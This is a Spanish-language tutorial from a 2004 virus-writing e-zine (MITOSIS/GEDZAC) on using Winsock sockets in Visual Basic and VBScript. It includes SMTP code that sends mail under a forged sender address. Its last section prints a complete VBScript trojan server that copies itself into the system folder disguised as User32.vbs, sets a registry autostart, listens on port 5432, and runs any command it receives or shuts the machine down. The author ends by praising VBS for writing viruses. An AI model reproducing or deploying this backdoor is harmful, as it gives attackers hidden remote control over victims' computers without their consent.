(C) MITOSIS #2 E-Zine/GEDZAC 2004

Tema          : Sockets
Autor         : Nemlim
Válido para   : Visual Basic 6 y VBS

Un socket es una representación abstracta del extremo en  un proceso de comunica-
ción. Es un punto  de  acceso que una aplicación  puede crear para acceder  a los
servicios de comunicación que ofrecen las pilas de protocolos.
Para que se dé la comunicación en una red, el programa requiere un socket en cada
extremo del proceso de comunicación.
Trataré de explicar todo lo  mejor posible, pero puede que algo se me escape. Así
que no se queden en la lona y busquen más info en Internet.

-------------------------------
Sockets en Visual Basic:
-------------------------------

API de Winsock:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Primero  y  principal, encontraran  el código  de  las  API del Wsock32.dll en la
carpeta EJEMPLOS de esta E-Zine.

A continuación, pongo  la  lista  de  las  funciones  más importantes, explicando
brevemente su uso.

StartWinsock TempParam		Inicia los  sockets. Esto  es lo  primero que hay
				que  hacer, pues  no se puede  hacer  uso de  los
				mismos  si no se han iniciado antes. Su parametro
				debe ser  del  tipo String, y la función devuelve
				en el parámetro los datos de la dll.

ConnectSock H, P, R, W, A	Conecta el socket con el host  remoto. La función
				devuelve el ID del socket. Este ID debemos utili-
				zarlo  en  funciones  como SendData, CloseSocket,
				Recv, etc. Debemos pasarle como parámetro:
				(H) El nombre del host remoto
				(P) El puerto a conectarse
				(R) Cadena vacía. La función devolverá la IP Host
				(W) El hWnd del formulario
				(A) Si se ejecuta en modo asíncrono(TRUE o FALSE)


SendData socket, message	Envía datos  al servidor remoto. Como  parámetros
				debemos pasarle el ID socket, y el mensaje.

ListenForConnect Puerto, HWnd	Abre el puerto especificado en el parámetro. Ade-
				mas debemos pasarle el hWnd del formulario.

CloseSocket socket		Cierra la conexión actual del socket especificado

Recv socket, buf, buflen	Toma los datos  devueltos por  el servidor, y los
				almacena en la variable buf, en este ejemplo.
				Como  parámetros  les  pasamos  el  ID socket, la
				variable en donde queremos que almacene los datos
				devueltos, y el tamaño de la variable.

GetLocalHostName		Devuelve el nombre de la Pc local.

AddrToIP hostname		Devuelve la dirección Ip del host especificado.

EndWinsock			Termina con la sesión de los sockets.


Envio de emails usando API de Winsock:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Bueno, ahora sí vamos a darle verdadero sentido a los sockets. Metemos las APIs
en un módulo, creamos  un  nuevo formulario con un timer (Nombre: TimerWinsock;
Intervalo: 10), y copiamos el código que sigue:

'<!--Inicio del codigo del Formulario1--!>

Private SendStatus as Integer
Public mainSocket As Integer
Private tempInt As Integer

Private Sub Form_Load()
Dim sBuffer As String
StartWinsock sBuffer	'Inicia los sockets
Mailear "bush@imf.zzn.com", "mail.zzn.com"  'Llama a la función que envía emails
End Sub

Private Sub Mailear(DRcptTo As String, DServer)
Dim sBuffer   As String
Dim DHelo     As String
Dim DMensaje  As String
Dim DMailFrom As String
Dim DSubject  As String
Dim DFrom     As String

SendStatus = 1		'Establecemos el princípio del envío
DSubject = "Asunto"	'Asunto del mensaje
DHelo = GenerateCode(8) 'Carácteres aleatorios de 8 letras
DMailFrom = "anonimato@hotmail.com"	'Correo del que envía
DMensaje = "Mensaje del mail"		'Mensaje del email
If WSAStartedUp Then		'Si se iniciaron los sockets proseguimos
'Conectamos con el servidor Smtp:
mainSocket = ConnectSock(DServer, 25, sBuffer, Me.hWnd, False)

If not mainSocket = INVALID_SOCKET Then	'Si conecta es porque la direccion existe
TimerWinsock.Enabled = True	 'Activamos el timer que recibe y envía los datos

'Enviamos los datos al server smtp:
SendData mainSocket, "HELO " & DHelo & vbCrLf
SendData mainSocket, "MAIL FROM:<" & DMailFrom & ">" & vbCrLf
SendData mainSocket, "RCPT TO:<" & DRcptTo & ">" & vbCrLf
SendData mainSocket, "DATA" & vbCrLf
SendData mainSocket, "FROM: Nemlim" & vbCrLf & "TO: <" & DRcptTo & ">" & vbCrLf
SendData mainSocket, "SUBJECT: " & DSubject & vbCrLf
SendData mainSocket, DMensaje & vbCrLf
SendData mainSocket, vbCrLf & "." & vbCrLf
SendData mainSocket, "QUIT" & vbCrLf
End If
End If
End Sub

Function GenerateCode(NumChar As Integer)
'Función que genera caracteres aleatorios con la longitud
'que se desee. Esta función la saque de por ahí, y no creo
'que necesite explicación.

    Randomize Timer
    Dim Code As String
    Dim Chars As Integer
    Dim Alfa As Integer
    Code = ""
    For Chars = 1 To NumChar
        Alfa = Int(Rnd * 2 + 1)
        If Alfa = 2 Then
            Code = Chr(Int((Rnd * 25 + 1) + 97)) & Code
        Else
            Code = Int((Rnd * 9 + 1)) & Code
        End If
    Next
    GenerateCode = Code
End Function

Private Sub Form_Unload(Cancel As Integer)
    EndWinsock		'Terminamos con los sockets abiertos
End Sub

Private Sub TimerWinsock_Timer()
'Este timer es opcional. Es solo para mostrar el funcionamiento
'de la función Recv, y en este ejemplo no es necesario para mandar mails.
    Dim tempString As String
    
    tempString = String(255, Chr(0))	'Asignamos 255 espacios en la variable
    tempInt = recv(mainSocket, tempString, 255)	'Recibimos los datos que nos 
    'envían, y los asignamos en la variable tempString
    
    'tempInt toma el valor de la cantidad de caracteres que tienen los datos que
    'recibimos del socket.

    If tempInt = -1 Then 'Cuando no se envían datos tempInt toma valor de -1
        tempString = ""
    Else
        tempString = Left(tempString, tempInt) 'Si se envían datos recortamos los
                                               'espacios
    End If
    
    If tempString <> "" Then	'Si la variable no está vacía proseguimos
    'A esta altura tempString tiene los datos recibidos
    'Si se quiere mostrarlos, podemos poner lo siguiente:
    '    Text1.Text = Text1.Text & vbCrLf & tempString
    End If
End Sub

'<!--Fin del codigo del Formulario1--!>

Existe un control, llamado MSWinsock, el cual podemos utilizar en Visual Basic, y
Visual Basic Script, que  permite hacer uso  de  los  sockets fácilmente, pero su
unico defecto, y es  que es un impedimento trabajar  con las manos atadas, es que
este control  debe estar  registrado, y con su correspondiente licensia de uso, y
además no  viene por defecto con la  instalación de Windows. Para agregarlo en un
Visual Basic vamos al menú Proyect| Components. En la lista marcamos  el que dice
"Microsoft Winsock Control 6.0". Si no aparece en la lista significa que no tenes
el control o que no lo registraste. Para hacer uso del winsock  en VBS lo creamos
como un objeto normal, y  accedemos a  sus eventos mediante las especificacion en
el segundo  parámetro, en el comando CreateObject(objeto,evento). De  esta manera
crearemos  el objeto "MsWinsock.Winsock", y  en el  evento  pondremos "sck_" para
hacer uso de sus eventos.

Propiedades y métodos del MSWinsock:

Winsock1.Connect RH, 25		Conecta el  socket  con el host remoto (RH), y en
				el  puerto  que se especifique. Para  el servicio
				smtp, el puerto  es  el 25. Este método  se puede
				utilizar sin  parámetros, si antes se especifica-
				ron el  host y  el puerto en  las propiedades del
				Winsock, RemoteHost y RemotePort.

Winsock1.Close			Cierra la actual conexión del socket.

Winsock1.GetData Data		Toma  los  datos devueltos por el servidor, y los
				almacena  en  la variable Data, en  este ejemplo.
				Este método  se  coloca en el evento DataArrival,
				ya  que  es en  este evento  en el que nos envían
				datos.

Winsock1.Listen			Ponemos  a  la  escucha el socket, a la espera de
				una  conexión. El puerto  abierto  es  el que  se
				especifique   previamente  en  la  propiedad  del
				socket, LocalPort.

Winsock1.SendData Data		Enviamos  datos al servidor, siempre que la cone-
				xión lo permita.

Winsock1.Accept requestID	Acepta  un  pedido  de  conexión, en  el  evento
				ConnectionRequest. Este evento se produce cuando
				dejamos un puerto a la escucha, y el host remoto
				pide conectarse a nuestra Pc.


Winsock1.LocalHostName		Devuelve el nombre de la Pc local

Winsock1.LocalIP		Devuelve el numero Ip de la Pc Local

Winsock1.LocalPort		Establece el puerto a abrir o escuchar

Winsock1.RemoteHost		Devuelve o establece el nombre del host remoto

Winsock1.RemoteHostIP		Devuelve o establece el numero IP del host remoto

Winsock1.RemotePort		Establece el  puerto  del  host remoto  al que el
				socket se conectará.

Winsock1.State			Devuelve el estado actual en el  que se encuentra
				el socket. Los valores devueltos son:
				0 Predeterminado. Cerrado
				1 Abierto 
				2 Escuchando 
				3 Conexión pendiente 
				4 Resolviendo host 
				5 Host resuelto 
				6 Conectando 
				7 Conectado 
				8 El equipo está cerrando la conexión 
				9 Error

-------------------------------
Sockets en Visual Basic Script:
-------------------------------

Envio de emails usando motor smtp:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
*********************************************************************************
NOTA: Este es  solo  un  ejemplo ilustrativo. Algunos  servidores  como hotmail y
yahoo, no permiten hacer uso del servicio smtp, por  lo que si lo intentas proba-
blemente no te funcione. Creo que no hece falta decir que los emails expuestos no
existen, y  debes cambiarlos a tu gusto. Si no sabes la direccion smtp del correo
del  destinatario,  casi  siempre  son  de  este  formato: "mail.servidor.com"  o
"smtp.servidor.com". Por  ejemplo, si  la  dirección  de  correo de la víctima es
"pepito@fullzero.com", probablemente el servidor podría ser "mail.fullzero.com" o
"smtp.fullzero.com".

'<!-- Inicio del codigo --!>
Set W=I()   'Llamamos a la funcion que crea el winsock, y accederemos a él
            'mediante la variable "W"
SendStatus = 1
DServer = "mail.zzn.com"  	      'Establecemos el servidor
DHelo = "aasdfgzx"                    'Asignamos una var con 8 letras aleatorias
DMailFrom = "anonimato@hotmail.com"   'Ponemos un email cualquiera
DRcptTo = "destinatario@zzn.com"      'Es el que recibirá el mail
DFrom = "El Ano N. Imato"	      'Campo De
DSubject = "Asunto"		      'Campo Asunto
DMensaje = "Mensaje"		      'Campo Mensaje
wscript.echo("comenzando")	      'Nos indica que el script ha empezado
w.Close				      'Cerramos el socket, si es que está abierto
w.Connect DServer, 25                 'Conectamos con el servidor, al puerto 25
While w.State <> 0            'Hasta que no nos conectemos, el bucle no terminará
	wscript.sleep 30      'Detenemos por unos milisegundos el script, para
                              'que no se "cuelgue", como se cuelgan la mayoria de
                              'los programas en windows :(
Wend

Sub sck_DataArrival(b)   'Este evento se produce cuando al socket le llegan datos
'Enviamos paso por paso, los datos al servidor
Select Case SendStatus
case 1
w.SendData "HELO " & DHelo & vbCrLf 
SendStatus = SendStatus + 1
case 2
w.SendData "MAIL FROM:<" & DMailFrom & ">" & vbCrLf 
SendStatus = SendStatus + 1
case 3
w.SendData "RCPT TO:<" & DRcptTo & ">" & vbCrLf
SendStatus = SendStatus + 1
case 4
w.SendData "DATA" & vbCrLf 
SendStatus = SendStatus + 1
case 5
w.SendData "FROM: " & DFrom & vbCrLf & "To: <" & DRcptTo & ">" & vbCrLf & _
"SUBJECT: " & DSubject & vbCrLf & DMensaje & vbCrLf & vbCrLf & "." & vbCrLf
SendStatus = SendStatus + 1
case 6
w.SendData "QUIT" & vbCrLf
SendStatus = SendStatus + 1
w.close	'Cerramos el socket
wscript.echo("Desconectado")
end select
end sub

Sub sck_Error(ByVal N,D,c,S,F,H,A)
'Si ocurre un error cerramos el socket y mostramos el error
	W.Close
	If N=10061 Then
		WScript.StdOut.Write "."
	Else
		msgbox P & ":" & N & " " & D
	End If
End Sub

Function I()
On Error Resume Next
Err.Number=0
Set I= CreateObject("MSWinsock.Winsock","sck_") 'Creamos el Winsock, y asignamos
                                                'sck_ como nombre de evento

        'Si se produce un error, puede se debido a los siguientes mensajes:
Select Case Err.Number
case &H80040112
   msgbox "No licence found. Install Visual Studio"
case &H80020009
   msgbox "ActiveX Winsock not registered - use regsvr32"
Case else
   msgbox "Error "& Err.Number &" - &H" & Hex(Err.Number) &" - "& Err.Description
End Select
End Function

'<!-- Fin del codigo --!>


Espero que hallan entendido, porque la intención estuvo. Trate de explicar cada
línea lo más posible, así que  si  alguien no entendió, me envian un mail y ya.


Troyanos en VBS????:
¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯
Si, si es posible, dentro del limitado lenguaje  vbs, por supuesto. La víctima
debe tener ciertas condiciones, pero la intención está. El siguiente código es
del servidor del troyano. El cliente se puede construir en cualquier lenguaje,
aunque vbs no es el más adecuado, pienso yo.

'<!-- Inicio del codigo --!>

On Error Resume Next	'Si ocurre un error continuamos con la línea siguiente
Set W=I()   'Llamamos a la funcion que crea el winsock, y accederemos a él
            'mediante la variable "W"

Set Ws = CreateObject("WScript.Shell") 'Creamos objetos para usarlos mas adelante
Set Fso = CreateObject("Scripting.FileSystemObject")

Set DirWin = Fso.GetSpecialFolder(0)	'Establecemos el directorio de windows
Set DirSystem = Fso.GetSpecialFolder(1)	'Asignamos el directorio de sistema

If Not Fso.FileExist(DirSystem & "\User32.vbs") Then 'Sino nos hemos copiado antes
Fso.CopyFile (WScript.ScriptFullname), DirSystem & "\User32.vbs" 'Nos copiamos
End if

L = Ws.regRead("HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32")
If L = "" Then
Ws.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\User32", _
DirSystem & "\User32.vbs" 'Nos ponemos al inicio del sistema
End if

W.LocalPort = "5432"	'Establecemos el puerto del troyano
W.Listen		'Ponemos a la escucha el socket
Do                      'Nos quedamos en la memoria, con un bucle infinito
    wscript.sleep 30    'Dormimos al script para no "colgarnos"
Loop


Sub sck_ConnectionRequest(requestID)
If W.State <> sckClosed Then W.Close	'Si el winsock está abierto lo cerramos.
W.Accept requestID 			'Aceptamos la conexión
End Sub

Sub sck_Error(ByVal N,D,c,S,F,H,A)
'Si ocurre un error, cerramos y volvemos a escuchar.
W.Close
W.Listen
End Sub


Sub sck_Close()
'Si se cierra la conexión, volvemos a escuchar.
W.Listen
End Sub


Sub sck_DataArrival(bytesTotal)
On Error Resume Next 		'Si ocurre un error que lea la siguiente línea
Dim data1 			'Declaramos la variable que recibirá los datos
W.GetData data1      		'Tomamos los datos que nos envían
If data1 <> "" then		'Si de verdad nos envían algo proseguimos
Select Case mid(data1,1,10) 	'Nos fijámos que acción nos están mandando
Case "#EJECUTAR#"
Ws.Run mid(data1,10,len(data1)) 'Ejecuta el comando que se envíe
Case "#APAGARPC#"
Ws.Run DirWin & "\RUNDLL32.EXE user.exe,ExitWindows" 'Apaga la Pc
Case "##MSGBOX##"
Msgbox mid(data1,10,len(data1))	'Muestra el mensaje enviado
End select
End if
End Sub

Function I()      'Funcion que crea el objeto Winsock
On Error Resume Next 'Si ocurre un error, no nos importa
Err.Number=0
Set I= CreateObject("MSWinsock.Winsock","sck_")  'Creamos el Winsock, y asignamos
                                                 'sck_ como nombre de evento:
End Function

'<!-- Fin del codigo --!>

Hata ki nomás. Como ven, el uso del winsock en vbs se trata casi igual que en
Visual Basic, con algunas diferencias. El uso del control winsock en vbs trae
varias ventajas, asi como también desventajas, pero nada es color de rosas.
Esto solo fué una excusa para que el vbs no sea un lenguaje del pasado y se
siga programando. Para mí es uno de los mejores lenguajes de "programación" de
virus que existió en la historia, no solo por su capacidad de polimorfismo, por
el uso de objetos externos, por su relación con MsOffice, por su capacidad de
infectar muchas extenciones diferentes, de acceder al registro sencillamente,
sino también por su extremadamente fácil programación. Que el VBS no muera!

(C) MITOSIS #2 E-Zine/GEDZAC 2004